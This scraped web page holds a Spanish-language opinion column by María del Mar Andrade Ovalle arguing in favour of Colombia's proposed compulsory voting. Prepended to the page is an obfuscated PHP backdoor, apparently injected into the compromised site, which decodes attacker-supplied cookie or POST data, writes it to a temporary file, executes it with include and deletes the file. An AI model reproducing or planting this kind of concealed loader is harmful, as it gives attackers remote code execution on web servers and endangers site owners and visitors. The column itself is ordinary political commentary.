$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> ¿Votar? Y eso… ¿con qué se come? – www.interferencechannel.com

¿Votar? Y eso… ¿con qué se come?

Desde niños el hecho de ser responsables representa sólo un dolor de cabeza, pues por general, nuestra fruncida del ceño se debe a que no hay ninguna libertad que no aborde responsabilidad alguna. El asunto es una cuestión de atención, pues a lo largo de la vida ambas crecen de manera homogénea y no son mutuamente excluyentes, o sino que lo diga el Pibe, el cual tiene la gran libertad de hacer lo que sus rizos demanden, pero corre con la responsabilidad de aparecer en Reduce Fa‟ Fas‟.

Pero llevando el tema central de este acápite a términos más sensatos, nuestra falta de conciencia y uso de la libertad responsable, debería ser una cuestión fuera de lo trivial y tomarse seriamente, más si se trata de los comicios electorales.

Durante la semana pasada, además de la pelea de quinceañeras entre Uribe y Cepeda, otra de las disputas con mayor atención dentro de las sesiones plenarias del Congreso tuvo que ver con el equilibrio de poderes. La discusión giró en torno a la aprobación del voto obligatorio para los próximos tres periodos presidenciales, lo cual se traduce en 12 años de decisiones para presidente, senadores, representantes y autoridades locales. Adicionalmente a esto, la propuesta busca eliminar el voto preferente y llegar a la implementación de la lista única cerrada presentada por partido.

El arrebato no se dio a esperar dentro de los foros de opinión de los grandes diarios del país, pues politólogos y constitucionalistas reconocidos dieron a conocer su opinión sobre lo que resultaría una de las decisiones más arbitrarias propuestas por el actual Congreso. Tal fue la acogida de dicha discusión, que el honorable senador Roy Barreras, se dignó a dar su veredicto frente al voto obligatorio, siendo él un claro referente de la transparencia institucional y ausencia del trasfuguismo político, igual a la Iglesia cuando alega sobre los casos de pederastia.

No obstante, sin ánimos de polemizar más el argumento central, ante la ambiciosa iniciativa del Congreso, sólo pude celebrar el hecho de que por fin se vislumbró algo de sensatez dentro de tanta lanzada de excremento y tanto Tetris. La propuesta no podría ser más oportuna en un país cuyos niveles de abstención se han mantenido por encima del 50% desde antes de 1991, pues según estudios sobre el comportamiento electoral, si bien la abstención es un fenómeno típico de un régimen democrático, puede convertirse en un cáncer para el Estado si lleva vigente la bobadita de más de 20 años.

Sólo para ponerlo en cifras y para darle el tamaño que se debe, en un informe realizado por la ANIF en 1980 sobre balance electoral después del Frente Nacional, los índices de la abstención se mostraban por encima del 58% con 12 millones de habitantes y, si la comparación temporal le resulta arbitraria, sólo bastaría con decir que según datos de la Misión de Observación Electoral, desde 1998 hasta 2010, la inasistencia a las urnas oscila entre el 48 y 51% de la población, lo cual nos permite concluir que, fuera de sorpresas, aquí votar es el segundo plan del domingo.

Pero ¿a qué se debe tanta pataleta?, ¿por qué no sólo hay abstención, sino además retratos del honorable Profesor Pekerman en el voto en blanco? Pues bien, las causas de la abstención son múltiples y varían desde la unidad de análisis (individuo, colectividad) hasta factores como la edad, el nivel educativo, la coyuntura económica nacional y „de bolsillo‟, el altar a Alvarito y el cuadro de Marx. No obstante, en un país en donde las elecciones están fríamente calculadas por el Circo de los Hermanos Gasca, Irene Melo y Regina 11, es difícil determinar hasta donde los estudios sobre comportamiento electoral se van por el sucio tubo.

En otras palabras, es necesario entender que la abstención en Colombia se encuentra ejercida por un individuo altamente excepcional en las artes del “mejor malo conocido que bueno por conocer”, “de eso tan bueno no dan tanto” y “los políticos nunca escuchan y siempre roban”. Se trata de un personaje cuyos niveles de alta desconfianza hacia las instituciones, a los partidos, a la política, a la burocracia, no sólo desbordan cualquier nivel de medición, sino que además se juntan con la pereza y la mediocridad. Qué buen sancocho.

 Ahora bien, luego de haber planteado el hecho de que preferimos mordernos la lengua antes que comer juntos, viene la propuesta del Congreso que resulta, en medio de todo, una solución brillante para tanto „quejeta‟ que aboga por un reconocimiento a su voz dentro de su libertad desconocida por el Gargamel democrático. Lo recalcable de la propuesta radica entonces en que el voto obligatorio es uno de los primeros intentos de crear consciencia política en este país, una conciencia que trascienda las protestas llenas de vandalismo o esas causas perdidas representadas en un grito unánime, que sólo se manifiesta para quejarse y no para dar una solución. La arenga primordial siempre será que el sistema o los políticos no escuchan, pero en el momento en el cual existe un día exclusivo para que todo aquel que quiera manifestarse, ese momento en el cual se le da un día entero a la participación por excelencia, la apatía y el „rasking ball‟ resultan ser los protagonistas.

 La gente de este país se niega a ver entonces que la solución radica en que si se obliga a votar, por lo menos existirá en algún registro que se intentó construir consciencia política en este país de las maravillas, en donde la sociedad alega por el arrebato de algo que más de la mayoría nunca ha utilizado. La consciencia y la educación no van sólo de la mano del Estado o de los civiles, sino de todos en conjunto y dado que el segundo “ni raja, ni presta el hacha”, algo de autoridad frente a los deberes y derechos no le caería mal al votante promedio, debido a que no sabe manejar su libertad con responsabilidad.

Sólo para tener en cuenta, en el texto de Alexis de Tocqueville “Democracy in America” de 1835, el autor habla sobre los problemas del régimen democrático y diagnostica que el meollo del asunto radica en la reglamentación de las instituciones. Haciendo una comparación con la democracia francesa, dentro de los principales dolores de cabeza que atañen a la democracia liberal se encuentran el énfasis en el individualismo, el gran poder de la gente sobre los organismos públicos, el abuso de la libertad o falta de deseo por obtenerla, entre otros. El remedio entonces, según Tocqueville, se encuentra en el fortalecimiento de los poderes del Estado, junto con el establecimiento de un sistema

educativo popular, el cual busque generar consciencia política en los ciudadanos a través de la implementación de responsabilidades frente a las decisiones que se toman. Un ejemplo de ello se planteaba a través de la llamada de cualquier ciudadano a cumplir el deber de ser jurado en un juicio penal, en donde se debía deliberar la culpabilidad del acusado a lo “12 Angry Men”. Siendo así, sin ánimos de desvirtuar a los grandes opositores del voto obligatorio, me parece que la sugerencia de Tocqueville no es desacertada y por lo tanto le daría el “si se llama” a la alternativa del Congreso a menos, eso sí, que Amparo Grisales me dijera lo contrario.

Pero ¿cómo decidir en un país en el cual “malo si si, malo si no, ni pregunte”? En medio de todo sólo me queda decir que aquí se desconoce la esporádica propuesta del Congreso bajo argumentos típicos de la victimización de „María la del Barrio‟, en vez de reconocer la oportunidad de una posible construcción de conciencia política para el país. Me atrevería a decir que al menos el hecho de ser penalizados les obligaría a algunos a revisar uno que otro programa de elecciones o a considerar cuáles son las consecuencias verdaderas entre votar por un chocolate, una Colombiana o una vaquerita en ligueros. No obstante, para mí el problema va mas allá y no se soluciona del todo con la reglamentación, pues la tentativa de volver a los parámetros pre Reforma 2003 en donde no existía el voto preferente, insta al regreso de la lista única que le daba poder a aquellas instituciones cuyo nivel de credibilidad está entre Arnold Schwarzenegger y las señoritas Cartel de Cali y Cartel de Medellín: Los partidos políticos. Sin embargo, ese es lamentablemente otro punto.

En fin, lo cierto es que aquí estamos acostumbrados a retroceder en el tiempo, y como si fuera poco se disfruta vivir sin memoria y comer cosas disfrazadas como el „dulce de anis‟, el cual es un vil un atentado a la humanidad. Es por esto que, si usted se pregunta “¿Votar? Y eso, ¿con qué se come?”, le respondería que no es ni con tamal ni con lechona, sino con responsabilidad.

 

*María del Mar Andrade Ovalle

Comments are closed.